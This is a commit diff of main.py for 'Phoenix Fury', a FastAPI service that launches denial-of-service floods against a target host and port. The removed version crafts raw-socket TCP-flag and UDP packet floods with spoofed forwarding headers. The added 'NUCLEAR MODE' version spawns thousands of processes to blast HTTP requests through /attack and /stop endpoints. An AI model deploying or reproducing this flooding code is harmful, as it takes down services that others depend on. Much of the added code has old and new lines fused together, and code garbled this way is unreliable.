Samuraiog commited on
Commit
fefaa90
·
verified ·
1 Parent(s): 3b939d7

Update main.py

Browse files
Files changed (1) hide show
  1. main.py +480 -228
main.py CHANGED
@@ -1,255 +1,507 @@
1
- import socket
2
- import struct
3
- import random
4
- import time
5
- import multiprocessing
6
- import threading
7
- import asyncio
8
- import aiohttp
9
- import os
10
- import sys
11
- import psutil
12
- import ssl
13
- from typing import Literal, List, Union
 
 
 
 
 
 
 
 
 
 
 
 
 
14
  from ctypes import c_ulonglong
15
 
 
 
16
  # Use uvloop for a significant performance boost
17
- try:
18
- import uvloop
19
- asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())
20
- except ImportError:
21
- pass
22
 
23
- from fastapi import FastAPI, HTTPException, BackgroundTasks
 
 
 
 
 
 
 
 
 
 
 
 
 
24
  from pydantic import BaseModel, Field
25
- import uvicorn
26
 
27
- # --- Application Setup ---
 
 
 
 
 
28
  app = FastAPI(
29
- title="🔥 Phoenix Fury API v7.0 - MAXIMUM POWER Edition",
30
- description="Extreme stress testing tool with auto-optimized settings for maximum RPS/PPS. For authorized testing only.",
31
- version="7.0.0"
32
- )
33
 
34
- # --- Auto-Optimized Configuration ---
35
- CPU_COUNT = psutil.cpu_count(logical=True) or 8
 
 
 
 
 
 
 
 
 
 
 
 
36
  TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)
37
 
38
- # REALISTIC CONFIG - Fewer processes that actually work
39
- def calculate_optimal_config():
40
- """Calculate reasonable process count."""
41
- # MUCH FEWER processes - focus on making them work!
42
- if CPU_COUNT >= 32:
43
- MAX_PROCESSES = CPU_COUNT * 2 # 64-96 processes for 32-48 cores
44
- elif CPU_COUNT >= 16:
45
- MAX_PROCESSES = CPU_COUNT * 3 # 48 processes for 16 cores
46
- elif CPU_COUNT >= 8:
47
- MAX_PROCESSES = CPU_COUNT * 4 # 32 processes for 8 cores
48
- elif CPU_COUNT >= 4:
49
- MAX_PROCESSES = CPU_COUNT * 6 # 24 processes for 4 cores
50
- else:
51
- MAX_PROCESSES = CPU_COUNT * 8 # 16 processes for 2 cores
52
-
53
- REQUESTS_PER_CONNECTION = 500 # Send 500 requests per socket
54
- total_capacity = MAX_PROCESSES * REQUESTS_PER_CONNECTION
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
55
 
56
- return MAX_PROCESSES, REQUESTS_PER_CONNECTION, total_capacity
57
-
58
- MAX_PROCESSES, MAX_CONCURRENCY_PER_PROCESS, TOTAL_WORKERS = calculate_optimal_config()
59
- STATS_BATCH_UPDATE_SIZE = 100 # Smaller batches for better feedback
60
-
61
- # --- L7 Enhanced Headers Pool ---
62
- USER_AGENTS = [
63
- "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/121.0.0.0 Safari/537.36",
64
- "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 Safari/537.36",
65
- "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/121.0.0.0 Safari/537.36",
66
- "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0",
67
- "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 Safari/604.1"
68
- ]
69
- REFERERS = [
70
- "https://www.google.com/search?q=",
71
- "https://www.bing.com/search?q=",
72
- "https://www.facebook.com/",
73
- "https://www.twitter.com/",
74
- "https://www.reddit.com/",
75
- "https://www.youtube.com/"
76
- ]
77
-
78
- def get_random_headers() -> dict:
79
- """Generates randomized headers with IP spoofing for L7 attacks."""
80
- return {
81
  "User-Agent": random.choice(USER_AGENTS),
82
- "Referer": random.choice(REFERERS) + str(random.randint(1000, 9999)),
83
- "X-Forwarded-For": f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}",
84
- "X-Real-IP": f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}",
85
- "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
86
- "Accept-Language": "en-US,en;q=0.9",
87
- "Accept-Encoding": "gzip, deflate, br",
88
- "Cache-Control": "no-cache",
89
- "Pragma": "no-cache"
90
- }
91
 
92
- # ====================================================================================
93
- # Pydantic API Models (Simplified - Auto Max Settings)
94
- # ====================================================================================
95
- class BaseAttackConfig(BaseModel):
96
- target: str = Field(..., description="Target hostname or IP address")
97
- port: int = Field(..., ge=1, le=65535, description="Target port")
98
- duration: int = Field(60, ge=10, le=7200, description="Attack duration in seconds")
99
-
100
- class L4TCPConfig(BaseAttackConfig):
101
- method: Literal["syn", "ack", "fin", "rst", "psh", "urg"] = Field("syn", description="TCP flag for the attack")
102
-
103
- class L4UDPConfig(BaseAttackConfig):
104
- method: Literal["flood", "pps"] = Field("flood", description="'flood' for large packets, 'pps' for minimal packets")
105
- payload_size: int = Field(1400, ge=0, le=1472, description="Size of UDP payload. 0 for PPS mode.")
106
-
107
- class L7Config(BaseAttackConfig):
108
- method: Literal["get", "post", "head"] = Field("get", description="HTTP method.")
109
- path: str = Field("/", description="Request path")
110
-
111
- class StatusResponse(BaseModel):
112
- attack_active: bool
113
- attack_type: str
114
- target_host: str
115
- target_ip: str
116
- port: int
117
- duration: int
118
- elapsed_time: float
119
- processes: int
120
- total_sent: int
121
- current_rate_pps_rps: float
122
- cpu_usage_percent: float
123
- memory_usage_percent: float
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
124
 
125
- # ====================================================================================
126
- # CORE NETWORKING & PACKET CRAFTING
127
- # ====================================================================================
128
- def check_root() -> bool:
129
- """Check if running with root/admin privileges."""
130
- try:
131
- return os.geteuid() == 0
132
- except AttributeError:
133
- import ctypes
134
- return ctypes.windll.shell32.IsUserAnAdmin() != 0
135
-
136
- def resolve_target(target: str) -> str:
137
- """Resolve hostname to IP address."""
138
- try:
139
- if "://" in target:
140
- target = target.split("://")[1].split("/")[0]
141
- return socket.gethostbyname(target)
142
- except socket.gaierror:
143
- raise ValueError(f"Could not resolve hostname: {target}")
144
-
145
- def get_local_ip(target_ip: str) -> str:
146
- """Get local IP address that routes to target."""
147
- try:
148
- s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
149
- s.connect((target_ip, 1))
150
- ip = s.getsockname()[0]
151
- s.close()
152
- return ip
153
- except:
154
- return "127.0.0.1"
155
-
156
- def calculate_checksum(data: bytes) -> int:
157
- """Calculate IP/TCP/UDP checksum."""
158
- s = 0
159
- if len(data) % 2:
160
- data += b'\0'
161
- for i in range(0, len(data), 2):
162
- s += (data[i] << 8) + data[i+1]
163
- s = (s >> 16) + (s & 0xffff)
164
- s += (s >> 16)
165
- return (~s) & 0xffff
166
-
167
- def create_ip_header(src_ip: str, dst_ip: str, proto: int, total_len: int) -> bytes:
168
- """Create IP header."""
169
- header = struct.pack('!BBHHHBBH4s4s',
170
- (4 << 4) | 5, 0, total_len, random.randint(1, 65535), 0, 64, proto, 0,
171
- socket.inet_aton(src_ip), socket.inet_aton(dst_ip)
172
- )
173
- return header[:10] + struct.pack('!H', calculate_checksum(header)) + header[12:]
174
-
175
- def create_tcp_header(src_ip: str, dst_ip: str, src_port: int, dst_port: int, flags: int) -> bytes:
176
- """Create TCP header with specified flags."""
177
- seq = random.randint(1, 4294967295)
178
- ack_seq = 0
179
- header = struct.pack('!HHLLBBHHH', src_port, dst_port, seq, ack_seq, (5 << 4), flags, 5840, 0, 0)
180
- pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton(src_ip), socket.inet_aton(dst_ip), 0, socket.IPPROTO_TCP, len(header))
181
- checksum = calculate_checksum(pseudo_header + header)
182
- return header[:16] + struct.pack('!H', checksum) + header[18:]
183
-
184
- def create_udp_header(src_ip: str, dst_ip: str, src_port: int, dst_port: int, payload: bytes) -> bytes:
185
- """Create UDP header."""
186
- udp_len = 8 + len(payload)
187
- header = struct.pack('!HHHH', src_port, dst_port, udp_len, 0)
188
- pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton(src_ip), socket.inet_aton(dst_ip), 0, socket.IPPROTO_UDP, udp_len)
189
  checksum = calculate_checksum(pseudo_header + header + payload)
190
- return header[:6] + struct.pack('!H', checksum)
 
 
 
191
 
192
  # ====================================================================================
193
- # OPTIMIZED L4 WORKER PROCESS
194
- # ====================================================================================
195
- def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type, method_details):
196
- """Ultra-optimized L4 worker with raw sockets."""
197
- try:
198
- sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
199
- sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
200
- # Increase socket buffer for higher throughput
201
- sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1024 * 1024)
202
- local_ip = get_local_ip(target_ip)
203
- except Exception as e:
 
 
 
 
 
 
 
 
 
 
 
 
204
  print(f"[PID {os.getpid()}] L4 Worker Init Error: {e}", file=sys.stderr)
205
- return
206
 
207
- local_counter = 0
208
- flag_map = {"syn": 2, "ack": 16, "fin": 1, "rst": 4, "psh": 8, "urg": 32}
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
209
 
210
- # Pre-generate payloads for UDP
211
- if attack_type == 'udp':
212
- if method_details == 'pps' or method_details == 0:
213
- payload = b''
214
- else:
215
- payload = os.urandom(method_details)
216
- udp_len = 8 + len(payload)
217
-
218
- # Packet crafting loop - optimized for speed
219
- while not stop_event.is_set():
220
- try:
221
- src_port = random.randint(10000, 65535)
222
-
223
- if attack_type == 'tcp':
224
- ip_header = create_ip_header(local_ip, target_ip, socket.IPPROTO_TCP, 40)
225
  tcp_header = create_tcp_header(local_ip, target_ip, src_port, port, flag_map.get(method_details, 2))
226
- packet = ip_header + tcp_header
227
- else: # udp
228
- ip_header = create_ip_header(local_ip, target_ip, socket.IPPROTO_UDP, 20 + udp_len)
229
- udp_header = create_udp_header(local_ip, target_ip, src_port, port, payload)
230
- packet = ip_header + udp_header + payload
231
-
232
- sock.sendto(packet, (target_ip, port))
233
- local_counter += 1
 
 
 
234
 
235
- # Batch counter updates for performance
236
- if local_counter >= STATS_BATCH_UPDATE_SIZE:
237
- with shared_counter.get_lock():
238
- shared_counter.value += local_counter
239
- local_counter = 0
240
- except:
241
- pass # Ignore errors for maximum speed
242
-
243
- # Final counter update
244
- if local_counter > 0:
245
- with shared_counter.get_lock():
246
- shared_counter.value += local_counter
247
- sock.close()
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
248
 
249
  # ====================================================================================
250
- # SIMPLE L7 WORKER - BLOCKING SOCKETS THAT ACTUALLY WORK!
251
- # ====================================================================================
252
- def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, requests_per_conn):
 
 
 
 
253
  """L7 worker - SIMPLE blocking approach."""
254
  use_ssl = (port in [443, 8443])
255
  host = target_ip
 
1
+ #!/usr/bin/env python3import socket
2
+
3
+ """import struct
4
+
5
+ Phoenix Fury v8.0 - NUCLEAR MODEimport random
6
+
7
+ Maximum CPU/RAM utilization for extreme RPSimport time
8
+
9
+ """import multiprocessing
10
+
11
+ import socketimport threading
12
+
13
+ import multiprocessingimport asyncio
14
+
15
+ import timeimport aiohttp
16
+
17
+ import osimport os
18
+
19
+ from ctypes import c_ulonglongimport sys
20
+
21
+ from fastapi import FastAPI, BackgroundTasksimport psutil
22
+
23
+ from pydantic import BaseModelimport ssl
24
+
25
+ import uvicornfrom typing import Literal, List, Union
26
+
27
  from ctypes import c_ulonglong
28
 
29
+ app = FastAPI(title="Phoenix Fury v8.0 - NUCLEAR MODE")
30
+
31
  # Use uvloop for a significant performance boost
 
 
 
 
 
32
 
33
+ # ============================================================================try:
34
+
35
+ # AUTO-CONFIG: USE ALL AVAILABLE RESOURCES import uvloop
36
+
37
+ # ============================================================================ asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())
38
+
39
+ CPU_COUNT = os.cpu_count() or 8except ImportError:
40
+
41
+ # NUCLEAR MODE: 64 processes per CPU core! pass
42
+
43
+ TOTAL_PROCESSES = CPU_COUNT * 64 # 48 cores = 3,072 processes
44
+
45
+ REQUESTS_PER_BURST = 1000 # Each process sends 1000 reqs per connectionfrom fastapi import FastAPI, HTTPException, BackgroundTasks
46
+
47
  from pydantic import BaseModel, Field
 
48
 
49
+ print(f"[NUCLEAR MODE] {CPU_COUNT} cores detected")import uvicorn
50
+
51
+ print(f"[NUCLEAR MODE] Spawning {TOTAL_PROCESSES} attack processes")
52
+
53
+ print(f"[NUCLEAR MODE] Expected: {TOTAL_PROCESSES * 200:,} - {TOTAL_PROCESSES * 1000:,} RPS")# --- Application Setup ---
54
+
55
  app = FastAPI(
 
 
 
 
56
 
57
+ # ============================================================================ title="🔥 Phoenix Fury API v7.0 - MAXIMUM POWER Edition",
58
+
59
+ # MODELS description="Extreme stress testing tool with auto-optimized settings for maximum RPS/PPS. For authorized testing only.",
60
+
61
+ # ============================================================================ version="7.0.0"
62
+
63
+ class AttackConfig(BaseModel):)
64
+
65
+ target: str
66
+
67
+ port: int = 80# --- Auto-Optimized Configuration ---
68
+
69
+ duration: int = 60CPU_COUNT = psutil.cpu_count(logical=True) or 8
70
+
71
  TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)
72
 
73
+ # ============================================================================
74
+
75
+ # ULTRA-AGGRESSIVE WORKER - MAXIMUM SPEED# REALISTIC CONFIG - Fewer processes that actually work
76
+
77
+ # ============================================================================def calculate_optimal_config():
78
+
79
+ def nuclear_worker(worker_id, target_ip, port, stop_flag, counter): """Calculate reasonable process count."""
80
+
81
+ """ # MUCH FEWER processes - focus on making them work!
82
+
83
+ Ultra-aggressive worker: tight loop, no error handling, maximum speed. if CPU_COUNT >= 32:
84
+
85
+ """ MAX_PROCESSES = CPU_COUNT * 2 # 64-96 processes for 32-48 cores
86
+
87
+ # Pre-build request (minimal) elif CPU_COUNT >= 16:
88
+
89
+ request = f"GET /?w={worker_id}&c={{}} HTTP/1.1\r\nHost: {target_ip}\r\n\r\n".encode() MAX_PROCESSES = CPU_COUNT * 3 # 48 processes for 16 cores
90
+
91
+ elif CPU_COUNT >= 8:
92
+
93
+ local_count = 0 MAX_PROCESSES = CPU_COUNT * 4 # 32 processes for 8 cores
94
+
95
+ req_num = 0 elif CPU_COUNT >= 4:
96
+
97
+ MAX_PROCESSES = CPU_COUNT * 6 # 24 processes for 4 cores
98
+
99
+ # INFINITE LOOP: Connect → Blast requests → Reconnect else:
100
+
101
+ while not stop_flag.value: MAX_PROCESSES = CPU_COUNT * 8 # 16 processes for 2 cores
102
+
103
+ sock = None
104
+
105
+ try: REQUESTS_PER_CONNECTION = 500 # Send 500 requests per socket
106
+
107
+ # Fast socket creation total_capacity = MAX_PROCESSES * REQUESTS_PER_CONNECTION
108
+
109
+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
110
+
111
+ sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) return MAX_PROCESSES, REQUESTS_PER_CONNECTION, total_capacity
112
+
113
+ sock.settimeout(2)
114
+
115
+ sock.connect((target_ip, port))MAX_PROCESSES, MAX_CONCURRENCY_PER_PROCESS, TOTAL_WORKERS = calculate_optimal_config()
116
+
117
+ STATS_BATCH_UPDATE_SIZE = 100 # Smaller batches for better feedback
118
+
119
+ # BLAST REQUESTS - No delays, no checks
120
+
121
+ for _ in range(REQUESTS_PER_BURST):# --- L7 Enhanced Headers Pool ---
122
+
123
+ try:USER_AGENTS = [
124
+
125
+ sock.send(request.replace(b"{}", str(req_num).encode())) "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/121.0.0.0 Safari/537.36",
126
+
127
+ local_count += 1 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 Safari/537.36",
128
+
129
+ req_num += 1 "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/121.0.0.0 Safari/537.36",
130
+
131
+ except: "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0",
132
+
133
+ break "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 Safari/604.1"
134
+
135
+ ]
136
+
137
+ sock.close()REFERERS = [
138
+
139
+ except: "https://www.google.com/search?q=",
140
+
141
+ pass # Ignore ALL errors, keep going "https://www.bing.com/search?q=",
142
+
143
+ "https://www.facebook.com/",
144
+
145
+ # Update shared counter every 500 requests "https://www.twitter.com/",
146
+
147
+ if local_count >= 500: "https://www.reddit.com/",
148
+
149
+ counter.value += local_count "https://www.youtube.com/"
150
+
151
+ local_count = 0]
152
+
153
 
154
+
155
+ # Final updatedef get_random_headers() -> dict:
156
+
157
+ if local_count > 0: """Generates randomized headers with IP spoofing for L7 attacks."""
158
+
159
+ counter.value += local_count return {
160
+
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
161
  "User-Agent": random.choice(USER_AGENTS),
 
 
 
 
 
 
 
 
 
162
 
163
+ # ============================================================================ "Referer": random.choice(REFERERS) + str(random.randint(1000, 9999)),
164
+
165
+ # ATTACK MANAGER "X-Forwarded-For": f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}",
166
+
167
+ # ============================================================================ "X-Real-IP": f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}",
168
+
169
+ class NuclearAttackManager: "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
170
+
171
+ def __init__(self): "Accept-Language": "en-US,en;q=0.9",
172
+
173
+ self.active = False "Accept-Encoding": "gzip, deflate, br",
174
+
175
+ self.processes = [] "Cache-Control": "no-cache",
176
+
177
+ self.stop_flag = multiprocessing.Value('i', 0) "Pragma": "no-cache"
178
+
179
+ self.counter = multiprocessing.Value(c_ulonglong, 0) }
180
+
181
+ self.start_time = 0
182
+
183
+ # ====================================================================================
184
+
185
+ def launch(self, target: str, port: int, duration: int):# Pydantic API Models (Simplified - Auto Max Settings)
186
+
187
+ """Launch nuclear attack with ALL processes."""# ====================================================================================
188
+
189
+ if self.active:class BaseAttackConfig(BaseModel):
190
+
191
+ return target: str = Field(..., description="Target hostname or IP address")
192
+
193
+ port: int = Field(..., ge=1, le=65535, description="Target port")
194
+
195
+ self.active = True duration: int = Field(60, ge=10, le=7200, description="Attack duration in seconds")
196
+
197
+ self.stop_flag.value = 0
198
+
199
+ self.counter.value = 0class L4TCPConfig(BaseAttackConfig):
200
+
201
+ self.start_time = time.time() method: Literal["syn", "ack", "fin", "rst", "psh", "urg"] = Field("syn", description="TCP flag for the attack")
202
+
203
+ self.processes = []
204
+
205
+ class L4UDPConfig(BaseAttackConfig):
206
+
207
+ # Resolve target method: Literal["flood", "pps"] = Field("flood", description="'flood' for large packets, 'pps' for minimal packets")
208
+
209
+ try: payload_size: int = Field(1400, ge=0, le=1472, description="Size of UDP payload. 0 for PPS mode.")
210
+
211
+ target_ip = socket.gethostbyname(target.replace("http://", "").replace("https://", "").split("/")[0])
212
+
213
+ except:class L7Config(BaseAttackConfig):
214
+
215
+ target_ip = target method: Literal["get", "post", "head"] = Field("get", description="HTTP method.")
216
+
217
+ path: str = Field("/", description="Request path")
218
+
219
+ print(f"\n{'='*70}")
220
+
221
+ print(f"🔥 NUCLEAR ATTACK LAUNCHED")class StatusResponse(BaseModel):
222
+
223
+ print(f" Target: {target_ip}:{port}") attack_active: bool
224
+
225
+ print(f" Processes: {TOTAL_PROCESSES:,}") attack_type: str
226
+
227
+ print(f" Duration: {duration}s") target_host: str
228
+
229
+ print(f"{'='*70}\n") target_ip: str
230
+
231
+ port: int
232
+
233
+ # Spawn ALL processes at once duration: int
234
+
235
+ for i in range(TOTAL_PROCESSES): elapsed_time: float
236
+
237
+ p = multiprocessing.Process( processes: int
238
+
239
+ target=nuclear_worker, total_sent: int
240
+
241
+ args=(i, target_ip, port, self.stop_flag, self.counter) current_rate_pps_rps: float
242
+
243
+ ) cpu_usage_percent: float
244
+
245
+ p.start() memory_usage_percent: float
246
+
247
+ self.processes.append(p)
248
+
249
+ # ====================================================================================
250
+
251
+ # Stats reporter# CORE NETWORKING & PACKET CRAFTING
252
+
253
+ def report_stats():# ====================================================================================
254
+
255
+ last_count = 0def check_root() -> bool:
256
+
257
+ last_time = time.time() """Check if running with root/admin privileges."""
258
+
259
+ try:
260
+
261
+ while not self.stop_flag.value: return os.geteuid() == 0
262
+
263
+ time.sleep(2) except AttributeError:
264
+
265
+ now = time.time() import ctypes
266
+
267
+ current = self.counter.value return ctypes.windll.shell32.IsUserAnAdmin() != 0
268
+
269
+ rps = (current - last_count) / (now - last_time)
270
+
271
+ elapsed = now - self.start_timedef resolve_target(target: str) -> str:
272
+
273
+ """Resolve hostname to IP address."""
274
+
275
+ print(f"[{elapsed:.0f}s] Total: {current:,} | Current RPS: {rps:,.0f}") try:
276
+
277
+ if "://" in target:
278
+
279
+ last_count = current target = target.split("://")[1].split("/")[0]
280
+
281
+ last_time = now return socket.gethostbyname(target)
282
+
283
+ except socket.gaierror:
284
+
285
+ import threading raise ValueError(f"Could not resolve hostname: {target}")
286
+
287
+ stats_thread = threading.Thread(target=report_stats, daemon=True)
288
+
289
+ stats_thread.start()def get_local_ip(target_ip: str) -> str:
290
+
291
+ """Get local IP address that routes to target."""
292
+
293
+ # Auto-stop after duration try:
294
+
295
+ def auto_stop(): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
296
+
297
+ time.sleep(duration) s.connect((target_ip, 1))
298
+
299
+ self.terminate() ip = s.getsockname()[0]
300
+
301
+ s.close()
302
+
303
+ stop_thread = threading.Thread(target=auto_stop, daemon=True) return ip
304
+
305
+ stop_thread.start() except:
306
+
307
+ return "127.0.0.1"
308
+
309
+ def terminate(self):
310
+
311
+ """Stop all processes."""def calculate_checksum(data: bytes) -> int:
312
+
313
+ if not self.active: """Calculate IP/TCP/UDP checksum."""
314
+
315
+ return s = 0
316
+
317
+ if len(data) % 2:
318
+
319
+ print("\n⚠️ Terminating attack...") data += b'\0'
320
+
321
+ self.stop_flag.value = 1 for i in range(0, len(data), 2):
322
+
323
+ s += (data[i] << 8) + data[i+1]
324
+
325
+ # Give processes 3 seconds to finish s = (s >> 16) + (s & 0xffff)
326
+
327
+ time.sleep(3) s += (s >> 16)
328
+
329
+ return (~s) & 0xffff
330
+
331
+ # Force kill remaining
332
+
333
+ for p in self.processes:def create_ip_header(src_ip: str, dst_ip: str, proto: int, total_len: int) -> bytes:
334
+
335
+ if p.is_alive(): """Create IP header."""
336
+
337
+ p.terminate() header = struct.pack('!BBHHHBBH4s4s',
338
+
339
+ (4 << 4) | 5, 0, total_len, random.randint(1, 65535), 0, 64, proto, 0,
340
+
341
+ # Wait for all to die socket.inet_aton(src_ip), socket.inet_aton(dst_ip)
342
+
343
+ for p in self.processes: )
344
+
345
+ p.join(timeout=1) return header[:10] + struct.pack('!H', calculate_checksum(header)) + header[12:]
346
+
347
+
348
+
349
+ # Final statsdef create_tcp_header(src_ip: str, dst_ip: str, src_port: int, dst_port: int, flags: int) -> bytes:
350
+
351
+ elapsed = time.time() - self.start_time """Create TCP header with specified flags."""
352
+
353
+ total = self.counter.value seq = random.randint(1, 4294967295)
354
+
355
+ avg_rps = total / elapsed if elapsed > 0 else 0 ack_seq = 0
356
+
357
+ header = struct.pack('!HHLLBBHHH', src_port, dst_port, seq, ack_seq, (5 << 4), flags, 5840, 0, 0)
358
+
359
+ print(f"\n{'='*70}") pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton(src_ip), socket.inet_aton(dst_ip), 0, socket.IPPROTO_TCP, len(header))
360
+
361
+ print(f"✅ ATTACK COMPLETED") checksum = calculate_checksum(pseudo_header + header)
362
+
363
+ print(f" Total Requests: {total:,}") return header[:16] + struct.pack('!H', checksum) + header[18:]
364
+
365
+ print(f" Duration: {elapsed:.2f}s")
366
+
367
+ print(f" Average RPS: {avg_rps:,.2f}")def create_udp_header(src_ip: str, dst_ip: str, src_port: int, dst_port: int, payload: bytes) -> bytes:
368
+
369
+ print(f"{'='*70}\n") """Create UDP header."""
370
+
371
+ udp_len = 8 + len(payload)
372
+
373
+ self.active = False header = struct.pack('!HHHH', src_port, dst_port, udp_len, 0)
374
+
375
+ self.processes = [] pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton(src_ip), socket.inet_aton(dst_ip), 0, socket.IPPROTO_UDP, udp_len)
376
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
377
  checksum = calculate_checksum(pseudo_header + header + payload)
378
+
379
+ # Global manager return header[:6] + struct.pack('!H', checksum)
380
+
381
+ ATTACK_MANAGER = NuclearAttackManager()
382
 
383
  # ====================================================================================
384
+
385
+ # ============================================================================# OPTIMIZED L4 WORKER PROCESS
386
+
387
+ # API ENDPOINTS# ====================================================================================
388
+
389
+ # ============================================================================def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type, method_details):
390
+
391
+ @app.get("/") """Ultra-optimized L4 worker with raw sockets."""
392
+
393
+ def root(): try:
394
+
395
+ return { sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
396
+
397
+ "name": "Phoenix Fury v8.0 - NUCLEAR MODE", sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
398
+
399
+ "processes": TOTAL_PROCESSES, # Increase socket buffer for higher throughput
400
+
401
+ "cpu_cores": CPU_COUNT, sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1024 * 1024)
402
+
403
+ "status": "READY" if not ATTACK_MANAGER.active else "ATTACKING" local_ip = get_local_ip(target_ip)
404
+
405
+ } except Exception as e:
406
+
407
  print(f"[PID {os.getpid()}] L4 Worker Init Error: {e}", file=sys.stderr)
 
408
 
409
+ @app.post("/attack") return
410
+
411
+ def start_attack(config: AttackConfig, background: BackgroundTasks):
412
+
413
+ """Launch nuclear L7 attack.""" local_counter = 0
414
+
415
+ if ATTACK_MANAGER.active: flag_map = {"syn": 2, "ack": 16, "fin": 1, "rst": 4, "psh": 8, "urg": 32}
416
+
417
+ return {"error": "Attack already in progress"}
418
+
419
+ # Pre-generate payloads for UDP
420
+
421
+ background.add_task( if attack_type == 'udp':
422
+
423
+ ATTACK_MANAGER.launch, if method_details == 'pps' or method_details == 0:
424
+
425
+ config.target, payload = b''
426
+
427
+ config.port, else:
428
+
429
+ config.duration payload = os.urandom(method_details)
430
+
431
+ ) udp_len = 8 + len(payload)
432
+
433
 
434
+
435
+ return { # Packet crafting loop - optimized for speed
436
+
437
+ "status": "launched", while not stop_event.is_set():
438
+
439
+ "target": config.target, try:
440
+
441
+ "port": config.port, src_port = random.randint(10000, 65535)
442
+
443
+ "processes": TOTAL_PROCESSES,
444
+
445
+ "expected_rps": f"{TOTAL_PROCESSES * 200:,} - {TOTAL_PROCESSES * 1000:,}" if attack_type == 'tcp':
446
+
447
+ } ip_header = create_ip_header(local_ip, target_ip, socket.IPPROTO_TCP, 40)
448
+
449
  tcp_header = create_tcp_header(local_ip, target_ip, src_port, port, flag_map.get(method_details, 2))
450
+
451
+ @app.post("/stop") packet = ip_header + tcp_header
452
+
453
+ def stop_attack(): else: # udp
454
+
455
+ """Stop current attack.""" ip_header = create_ip_header(local_ip, target_ip, socket.IPPROTO_UDP, 20 + udp_len)
456
+
457
+ ATTACK_MANAGER.terminate() udp_header = create_udp_header(local_ip, target_ip, src_port, port, payload)
458
+
459
+ return {"status": "stopped"} packet = ip_header + udp_header + payload
460
+
461
 
462
+
463
+ @app.get("/status") sock.sendto(packet, (target_ip, port))
464
+
465
+ def get_status(): local_counter += 1
466
+
467
+ """Get current attack status."""
468
+
469
+ if not ATTACK_MANAGER.active: # Batch counter updates for performance
470
+
471
+ return {"active": False} if local_counter >= STATS_BATCH_UPDATE_SIZE:
472
+
473
+ with shared_counter.get_lock():
474
+
475
+ elapsed = time.time() - ATTACK_MANAGER.start_time shared_counter.value += local_counter
476
+
477
+ total = ATTACK_MANAGER.counter.value local_counter = 0
478
+
479
+ current_rps = total / elapsed if elapsed > 0 else 0 except:
480
+
481
+ pass # Ignore errors for maximum speed
482
+
483
+ return {
484
+
485
+ "active": True, # Final counter update
486
+
487
+ "elapsed": round(elapsed, 1), if local_counter > 0:
488
+
489
+ "total_requests": total, with shared_counter.get_lock():
490
+
491
+ "current_rps": round(current_rps, 2), shared_counter.value += local_counter
492
+
493
+ "processes": TOTAL_PROCESSES sock.close()
